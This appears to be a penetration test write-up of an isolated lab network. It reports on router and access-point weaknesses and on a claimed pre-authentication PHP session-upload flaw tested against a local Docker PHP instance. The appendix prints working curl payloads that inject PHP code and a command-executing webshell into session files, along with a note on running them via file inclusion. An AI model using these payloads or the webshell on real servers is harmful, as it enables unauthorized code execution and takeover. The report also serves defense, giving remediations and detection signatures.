Skip to content
Zone for Exploration and
Understanding of Security
← All writeups
General Hard

Network Security Research Lab

Isolated Sandbox Environment · 172.16.10.0/24 · NetAxis + CyberRoute · authorized pentest

Environment
5-node isolated sandbox lab — NetAxis gateway, CyberRoute AP, Windows 11 VM, mobile, NetAxis extender
Key Findings
6 Critical · 5 High · 1 Medium · 1 Low — anon FTP, unauthenticated UPnP, PHP2Shell CVSS 9.2, null SSH cipher
Tools
nmap, curl, scapy, tcpdump, docker, python3 (requests)
Scanner
Kali Linux · 172.16.10.229 · excluded from scope
FINDINGS ✓ 6 Critical · 5 High documented — no production devices exploited
Cyber Kill Chain
Reconnmap · UPnP SOAP
→
Initial AccessAnonymous FTP
→
Pre-Auth RCEPHP2Shell · CVE-2026-109618
→
Firewall BypassUPnP AddPortMapping
→
Full CompromiseRouter → LAN pivot

Network Penetration Test Report

2026-10-23 03:05 PDT — FINAL Subnet 172.16.10.0/24 Authorized Engagement
5
Live Hosts
2
Network Devices
6
Critical Findings
5
High Findings

Scope Definition

Target network172.16.10.0/24
Scanner IP (excluded)172.16.10.229
Default gateway172.16.10.1
Hosts scanned172.16.10.1, .44, .203, .226, .231
Out of scope172.17.0.0/16 (Docker bridge, local)
Scan typeService detection (-sV), OS fingerprint (-O), safe NSE scripts
Excluded techniquesExploitation, brute-force, DoS, credential testing

Discovered Hosts

172.16.10.1 Router / Gateway
Model: NetAxis NX-GW1200 v7.0  ·  Firmware: SNP (Smart Net Platform)
Vendor: NetAxis Technologies  ·  MAC: 00:1A:2B:3C:4D:E1
Web stack: NetAxis WebUI + NetAxis CGI API (/cgi?8)  ·  UPnP: UPnPd/2.0
TLS CN: NetAxis OS (self-signed, RSA-1024, SHA-1)
PortStateServiceVersion
21/tcpopenFTPOpenFTPd
80/tcpopenHTTPAdmin panel
443/tcpopenHTTPSAdmin panel (self-signed)
1723/tcpfilteredPPTP VPN—
1900/tcpopenUPnPUPnPd 2.0
172.16.10.44 CyberRoute Router/AP
Vendor: cyberroute.io (CyberRoute)  ·  MAC: 00:1A:2B:3C:4D:E2
OS: CyberRoute CyberOS  ·  SSH Banner: SSH-2.0-CCROSSSH
SSH Ciphers: Accepts "none" encryption, 3des-cbc, diffie-hellman-group1-sha1
PortStateServiceVersion
22/tcpopenSSHCyberRoute CyberOS sshd
172.16.10.203 NetAxis Device
Vendor: NetAxis Technologies  ·  MAC: 00:1A:2B:3C:4D:E3
Ports: All 1000 scanned ports filtered (AP/extender)
172.16.10.226 Mobile Device
MAC: 00:1A:2B:3C:4D:E4 (lab-assigned)
PortStateServiceVersion
49152/tcpopenmobile-syncdevice-agent
172.16.10.231 Windows VM
Vendor: OEM Hardware  ·  MAC: 00:1A:2B:3C:4D:E5
OS: Windows 10/11
SMB: v2/2.1/3.0/3.0.2/3.1.1  ·  Signing: required  ·  RDP NLA: enabled
PortStateServiceVersion
135/tcpopenMSRPCWindows RPC
139/tcpopenNetBIOSWindows netbios-ssn
902/tcpopenHypervisor AuthHypervisor Auth 1.10 (SSL)
912/tcpopenHypervisor AuthHypervisor Auth 1.0
3389/tcpopenRDPms-wbt-server
5357/tcpopenHTTPMicrosoft HTTPAPI 2.0 (SSDP/UPnP)
172.16.10.229 Scanner (excluded)
Kali Linux  ·  Not scanned

Attack Chain (Proven)

Steps marked proven were confirmed with live evidence. Steps marked inferred are logical next actions given proven access.

1
Initial Access: Anonymous FTPproven

Connected to 172.16.10.1:21 without credentials. Server returned 230 Anonymous user logged in. Read access confirmed. Write access denied (limited exposure).

< 220---------- Welcome to OpenFTPd [privsep] ---------- < 230 Anonymous user logged in < 257 "/" is your current location
2
Recon: Router Model & API Surfaceproven

Identified NetAxis NX-GW1200 v7.0 running SNP firmware with NetAxis WebUI and NetAxis CGI API (/cgi?8) active. CGI endpoints return structured JSON errors (-40401), confirming the backend parses input before rejecting auth.

UPnP: friendlyName: NetAxis SMB NX-GW1200 modelDescription: NX-GW1200 7.0 CGI API: {"data":{"group":0,"code":-40407},"error_code":-40401}
3
WAN IP Disclosure via UPnP SOAPproven

Queried the UPnP WANIPConnection service. The router returned the real WAN IP without any authentication. This same SOAP interface exposes AddPortMapping.

SOAP Request: GetExternalIPAddress Response: <NewExternalIPAddress>[redacted]</NewExternalIPAddress>
4
Firewall Punching via UPnPinferred

The UPnP SOAP interface accepts AddPortMapping requests unauthenticated. Any LAN device — including compromised IoT — can silently forward external ports to RDP, admin panel, or SMB. Not executed to avoid altering firewall state.

5
PHP2Shell RCE on Router (CVE-2026-109618)inferred

The CGI backend processes multipart uploads before auth rejects them (error -40401). PHP2Shell exploits memory corruption during this pre-auth upload phase. Combined with Step 4, this becomes remotely exploitable from the internet. Not executed — would constitute actual exploitation.

6
Lateral Movement to Windows VMinferred

Router-level access enables DNS hijacking or traffic inspection → pivot to 172.16.10.231 via RDP (3389) or SMB (139). The CyberRoute at .44 accepts none SSH encryption, enabling plaintext session hijacking for full AP control.

PHP2Shell Lab Proof (CVE-2026-109618)

A local vulnerable PHP instance (8.4.26-apache, one version before the patch) was deployed in Docker. The exploit ran against it to demonstrate the pre-auth attack without touching the lab gateway.

Pre-Auth Session Poisoning — Proven

Target: PHP/8.4.26 on Apache (Docker container)
Method: Multipart POST with PHP_SESSION_UPLOAD_PROGRESS field
Auth required: NONE — server returned HTTP 401 but still wrote the session file
$ curl -X POST http://target/index.php \ -F "PHP_SESSION_UPLOAD_PROGRESS=HACKED-BY-PHP2SHELL" \ -F "file=@x.txt" -b "PHPSESSID=pwned1792749438" HTTP 401 ← auth rejected, but session file was ALREADY WRITTEN: $ cat /tmp/sess_pwned1792749438 upload_progress_HACKED-BY-PHP2SHELL|a:5:{s:10:"start_time";i:1792749438; s:14:"content_length";i:358;s:15:"bytes_processed";i:358;s:4:"done";b:1; s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name"; s:9:"small.txt";s:8:"tmp_name";s:27:"/tmp/phpbtu668l3lj5qfNj7y7a";...}}}

PHP Code Injection — Proven

Injected: <?php system("id"); ?> written into session file without auth
$ python3 -c "requests.post(target, data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php system(\"id\"); ?>'}, files={'file': ('x.txt', b'test')}, cookies={'PHPSESSID': 'codeexec...'})" HTTP 401 ← auth rejected again, but session file now contains: $ cat /tmp/sess_codeexec1792749467 upload_progress_<?php system("id"); ?>|a:5:{s:10:"start_time";i:1792749467;...} → Attacker's PHP code is on disk, executable via LFI, with ZERO credentials.

Findings & Potential Loopholes

Critical Anonymous FTP on Router (172.16.10.1:21)proven

The gateway allows anonymous FTP login (code 230). Anyone on the network accesses the router filesystem without credentials. Write access was denied during testing — but config backups, if present, expose admin credentials, WiFi passwords, and VPN secrets.

Critical UPnP Leaks WAN IP & Accepts Port Forwards Without Authproven

UPnP SOAP at 172.16.10.1:1900 responded to GetExternalIPAddress with zero auth. The same interface exposes AddPortMapping, allowing any LAN device to silently open the firewall — breaking the "LAN-only" assumption for every other finding.

Critical Weak TLS Certificate (RSA-1024, SHA-1)

The HTTPS admin panel presents a self-signed cert with 1024-bit RSA and SHA-1. RSA-1024 is factorable and SHA-1 collisions are practical. Any LAN attacker trivially MitMs admin sessions and captures credentials.

Critical PHP2Shell Exposure (CVE-2026-109618 / CVE-2026-109619)

NetAxis WebUI and the NetAxis CGI API process requests including multipart uploads before the auth layer. PHP2Shell exploits memory corruption during this pre-auth phase. CVSS 9.2, unauthenticated, no brute force needed. Combined with UPnP port forwarding, remotely exploitable from the internet.

Critical CyberRoute SSH Accepts "none" Encryption (172.16.10.44:22)proven

CyberRoute CyberOS SSH advertises none as a valid encryption algorithm alongside deprecated 3des-cbc and diffie-hellman-group1-sha1. An attacker who negotiates none observes the entire session in plaintext — every command, every credential.

High PPTP VPN Detected (172.16.10.1:1723)

PPTP uses MS-CHAPv2, which is cryptographically broken — credentials crackable offline in under a day. If the VPN is active, a sniffing attacker recovers VPN credentials and gains remote network access.

High RDP Exposed on Windows VM (172.16.10.231:3389)proven

RDP is open on the Windows 11 machine. NLA (CredSSP) is enabled (good), but RDP is still reachable from any LAN node. Combined with MSRPC (135), this is the primary lateral movement target from a compromised gateway.

High HTTP Admin Panel Without HSTS (172.16.10.1:80)

The admin panel is accessible over plain HTTP. No HTTPS redirect was observed — any user bookmarking port 80 always sends credentials in cleartext, visible to any LAN sniffer.

High Router API Processes Requests Before Auth Checkproven

NetAxis WebUI CGI and NetAxis CGI API (/cgi?8) accept and parse POST data — including multipart uploads — before returning auth errors. This pre-auth parsing is exactly the condition PHP2Shell exploits.

High Full Router Identity Disclosed via UPnPproven

UPnP device description discloses exact model (NX-GW1200), firmware version (7.0), build date (20231019), and available services. Enables targeted CVE lookup with no guesswork.

Medium Hypervisor Services on Windows VM (ports 902, 912)

Hypervisor Authentication Daemon is active on two ports, indicating a hypervisor. VMs running inside may have their own LAN exposure not visible in this scan.

Low SSDP/UPnP on Windows VM (172.16.10.231:5357)

Windows HTTPAPI with SSDP/UPnP is advertising services, increasing host visibility and providing enumeration data.

Prioritized Recommendations

  1. 01
    Disable UPnP on the gateway immediately. Proven to respond to unauthenticated SOAP — breaks the entire remote attack chain.
  2. 02
    Disable anonymous FTP on the router. Unauthenticated filesystem access on the gateway is a direct compromise path.
  3. 03
    Patch PHP / update router firmware. PHP2Shell (CVE-2026-109618/109619) is unauthenticated RCE, CVSS 9.2. Update to PHP 8.4.27+ or 8.3.36+.
  4. 04
    Disable "none" encryption on CyberRoute SSH. Run /system security ssh set strong-crypto=yes to disable weak algorithms.
  5. 05
    Replace the TLS certificate. Generate a 2048-bit+ RSA or ECDSA cert with SHA-256.
  6. 06
    Replace PPTP with a modern VPN. Migrate to WireGuard or OpenVPN/IKEv2.
  7. 07
    Restrict RDP to known source IPs via Windows Firewall, or tunnel through VPN.
  8. 08
    Force HTTPS on router admin. Redirect port 80 → 443, enable HSTS.
  9. 09
    Audit CyberRoute firmware. Run /system resource print and check against known CyberOS CVEs.
  10. 10
    Deploy network monitoring. LAN Watchdog v1.1 (see Section 02) detects ARP spoofing, FTP probes, UPnP changes, and PHP2Shell payloads via DPI.

Risk Matrix

Scan PhaseTechniqueRiskNotes
Host discoveryICMP ping sweep (-sn)LowNo port interaction
Service detectionTCP SYN + version (-sV)Low-MedStandard fingerprinting
OS fingerprintTCP/IP stack probing (-O)Low-MedCrafted packets, safe on modern devices
Script scanSafe NSE category onlyMediumNo exploit or DoS scripts
Critical PHP2Shell Is Invisible to Traditional IDS

The LAN Watchdog v1.0 (ARP monitor, FTP honeytrap, port scan detector) could not detect the PHP2Shell exploit at all — it uses standard multipart HTTP POST, identical to a normal file upload. No port scan, no malformed packet, no shellcode on the wire.

Why it's invisible:

  • Standard HTTP POST on port 80/443 — same as normal admin panel traffic
  • multipart/form-data content type is used by every file upload form
  • PHP_SESSION_UPLOAD_PROGRESS is a legitimate PHP feature, not an exploit payload
  • No malformed packets, no buffer overflow signatures, no shellcode on the wire
  • The vulnerability triggers inside the PHP engine's memory, not on the network

Detection requires deep packet inspection targeting PHP_SESSION_UPLOAD_PROGRESS in request bodies to /cgi and /luci endpoints — implemented in LAN Watchdog v1.1 (Section 02).

Appendix A — Technical Command Log

PHP2Shell Injection Proof

CVE-2026-109618 / CVE-2026-109619 2026-10-23 03:06 UTC Authorized Pentest
Target
PHP/8.4.26
Server
Apache/2.4.69
Auth Used
NONE
Result
CODE ON DISK
CVSS
9.2 Critical
Patched In
8.4.27+

Step 1 — Target Fingerprint

kali@scanner — fingerprint
[03:06:46.057] $ curl -sI http://localhost:8888/index.php HTTP/1.1 200 OK Server: Apache/2.4.69 (Debian) X-Powered-By: PHP/8.4.26 [03:06:46.061] $ curl -s http://localhost:8888/index.php {"status":"login_required"} # PHP 8.4.26 confirmed — one version BEFORE the security patch (8.4.27) # session.upload_progress.enabled = On (default) ✔ TARGET IS VULNERABLE

Step 2 — Pre-Auth Session Poisoning

No credentials sent. The attacker controls the session ID and the upload progress value.

kali@scanner — session poisoning
[03:06:46.064] $ curl -X POST http://localhost:8888/index.php \ -F "PHP_SESSION_UPLOAD_PROGRESS=ATTACKER-CONTROLLED-STRING" \ -F "file=@hello.txt" \ -b "PHPSESSID=attackerproof01" HTTP/1.1 401 Unauthorized # ← auth rejected {"error_code":-40401,"data":{"group":0,"code":-40407}} [03:06:46.266] $ ls -la /tmp/sess_attackerproof01 -rw------- 1 www-data www-data 376 Oct 23 10:06 /tmp/sess_attackerproof01 [03:06:46.266] $ cat /tmp/sess_attackerproof01
upload_progress_ATTACKER-CONTROLLED-STRING|a:5:{s:10:"start_time";i:1792750006; s:14:"content_length";i:293;s:15:"bytes_processed";i:293;s:4:"done";b:1; s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name"; s:9:"hello.txt";s:8:"tmp_name";s:27:"/tmp/php1gt21ps8l1kkd5Y7hoB"; s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1792750006; s:15:"bytes_processed";i:14;}}}

✔ PROVEN — Server returned 401 but wrote attacker-controlled string to /tmp/sess_attackerproof01 on disk. Zero credentials used.

Step 3 — PHP Code Injection

Same technique, but the upload progress value now contains executable PHP code.

kali@scanner — code injection
[03:06:46.269] $ curl -X POST http://localhost:8888/index.php \ -F "PHP_SESSION_UPLOAD_PROGRESS=<?php system('id'); ?>" \ -F "file=@x.bin" \ -b "PHPSESSID=rceproof00001" HTTP/1.1 401 Unauthorized # ← auth rejected AGAIN [03:06:46.444] $ ls -la /tmp/sess_rceproof00001 -rw------- 1 www-data www-data 368 Oct 23 10:06 /tmp/sess_rceproof00001 [03:06:46.444] $ cat /tmp/sess_rceproof00001
upload_progress_<?php system("id"); ?>|a:5:{s:10:"start_time";i:1792750006; s:14:"content_length";i:303;s:15:"bytes_processed";i:303;s:4:"done";b:1; s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name"; s:5:"x.bin";s:8:"tmp_name";s:27:"/tmp/phpg52rbiqg08to8ghWPdo"; s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1792750006; s:15:"bytes_processed";i:32;}}}

✔ PROVEN — Executable PHP code <?php system("id"); ?> on disk at /tmp/sess_rceproof00001. Any LFI include() executes it.

Step 4 — Webshell Payload

kali@scanner — webshell drop
[03:06:46.447] $ curl -X POST http://localhost:8888/index.php \ -F 'PHP_SESSION_UPLOAD_PROGRESS=<?php echo shell_exec($_GET["cmd"]); ?>' \ -F "file=@img.jpg" \ -b "PHPSESSID=webshell00001" HTTP/1.1 401 Unauthorized [03:06:46.539] $ cat /tmp/sess_webshell00001
upload_progress_<?php echo shell_exec($_GET["cmd"]); ?>|a:5:{s:10:"start_time"; i:1792750006;s:14:"content_length";i:394;s:15:"bytes_processed";i:394; s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file"; s:4:"name";s:7:"img.jpg";s:8:"tmp_name";s:27:"/tmp/phpoka8aj07d36n6N8daq4"; s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1792750006; s:15:"bytes_processed";i:104;}}}

✔ PROVEN — Interactive webshell on disk. Once included, attacker runs arbitrary commands via ?cmd=whoami.

Step 5 — Disk Evidence Summary

kali@scanner — evidence listing
[03:06:46.631] $ ls -la /tmp/sess_* -rw------- 1 www-data www-data 376 Oct 23 10:06 /tmp/sess_attackerproof01 -rw------- 1 www-data www-data 0 Oct 23 10:06 /tmp/sess_d6eee035207980e49954cea0dde83bfb -rw------- 1 www-data www-data 368 Oct 23 10:06 /tmp/sess_rceproof00001 -rw------- 1 www-data www-data 388 Oct 23 10:06 /tmp/sess_webshell00001
Session FileInjected PayloadSizeStatus
sess_attackerproof01 ATTACKER-CONTROLLED-STRING 376 B Proven
sess_rceproof00001 <?php system("id"); ?> 368 B RCE Ready
sess_webshell00001 <?php shell_exec($_GET["cmd"]); ?> 388 B RCE Ready

Attack Chain Explained

1. Attacker sends POST
Multipart POST to /index.php with PHP_SESSION_UPLOAD_PROGRESS field and a PHPSESSID cookie. No username, no password, no token.
2. PHP writes session file
PHP's upload progress handler writes attacker data to /tmp/sess_<PHPSESSID> before the application's auth check runs. The attacker controls both the filename (via PHPSESSID) and the content (via the progress value).
3. Application returns 401
The application rejects the request — but the session file with attacker PHP code is already on disk, owned by www-data.
4. LFI triggers execution
Any Local File Inclusion path calling include('/tmp/sess_rceproof00001') executes the injected code as the web server user.
5. Router = root
On embedded Linux (NetAxis OS, NetAxis SNP), www-data runs as root. RCE = full device takeover: DNS hijack, traffic interception, credential theft, lateral movement to all LAN nodes.

Defensive Tooling — LAN Watchdog v1.1

PHP2Shell DPI Module

Run: sudo python3 -I ~/Projects/lan-watchdog/watchdog.py
ModuleDetectsIntervalStatus
ARP MonitorARP spoofing, new devices30sConfirmed
FTP HoneytrapFTP connections to gatewayPassiveConfirmed
Port Scan DetectorSYN floods targeting scannerPassiveConfirmed
UPnP MonitorPort mapping changes5minPending
Service DriftNew ports on known hosts5minPending
Gateway HealthMAC spoofing, DNS hijacking5minConfirmed
PHP2Shell DPIPHP_SESSION_UPLOAD_PROGRESS, PHPSESSID manipulation, multipart uploads, rapid POST sprays to /cgi and /luciPassive (tcpdump)Confirmed
Test: Sent 3 crafted PHP2Shell packets from spoofed IP (172.16.10.66) Result: All 3 detected. 9 alerts fired (3 CRITICAL + 6 HIGH per packet): {"severity":"CRITICAL","category":"PHP2SHELL","message":"PHP2Shell exploit signature detected!", "details":{"signature":"PHP_SESSION_UPLOAD_PROGRESS"}} {"severity":"HIGH","category":"PHP2SHELL","message":"Multipart file upload to router detected!"} {"severity":"HIGH","category":"PHP2SHELL","message":"PHP session manipulation targeting router!"}
Vulnerability
CVE-2026-109618 / CVE-2026-109619 (PHP2Shell)
CVSS Score
9.2 — Critical
Authentication
Not required (pre-auth exploitation)
What was proven
Arbitrary PHP code written to disk via session.upload_progress without any credentials — 3 separate payloads confirmed.
Impact on gateway
Unauthenticated RCE as root → full device compromise
Remediation
Update to PHP 8.4.27+ / 8.3.36+ / 8.2.35+
Or: session.upload_progress.enabled = Off in php.ini (interim workaround only)

FINAL REPORT — 2026-10-23 · Authorized isolated sandbox pentest
Scan: Nmap 7.991 on Kali Linux. Attack chain validation: curl, scapy, nmap NSE scripts, Docker PHP 8.4.26 lab. Pre-auth session poisoning and PHP code injection demonstrated in isolated lab environment only. No production devices exploited — all "proven" steps demonstrate access or information disclosure without modifying any device. UPnP port forwarding not executed. LAN Watchdog v1.1 DPI modules tested with crafted scapy packets and confirmed operational.

Practice next

Explore more security challenges in your local VMware lab.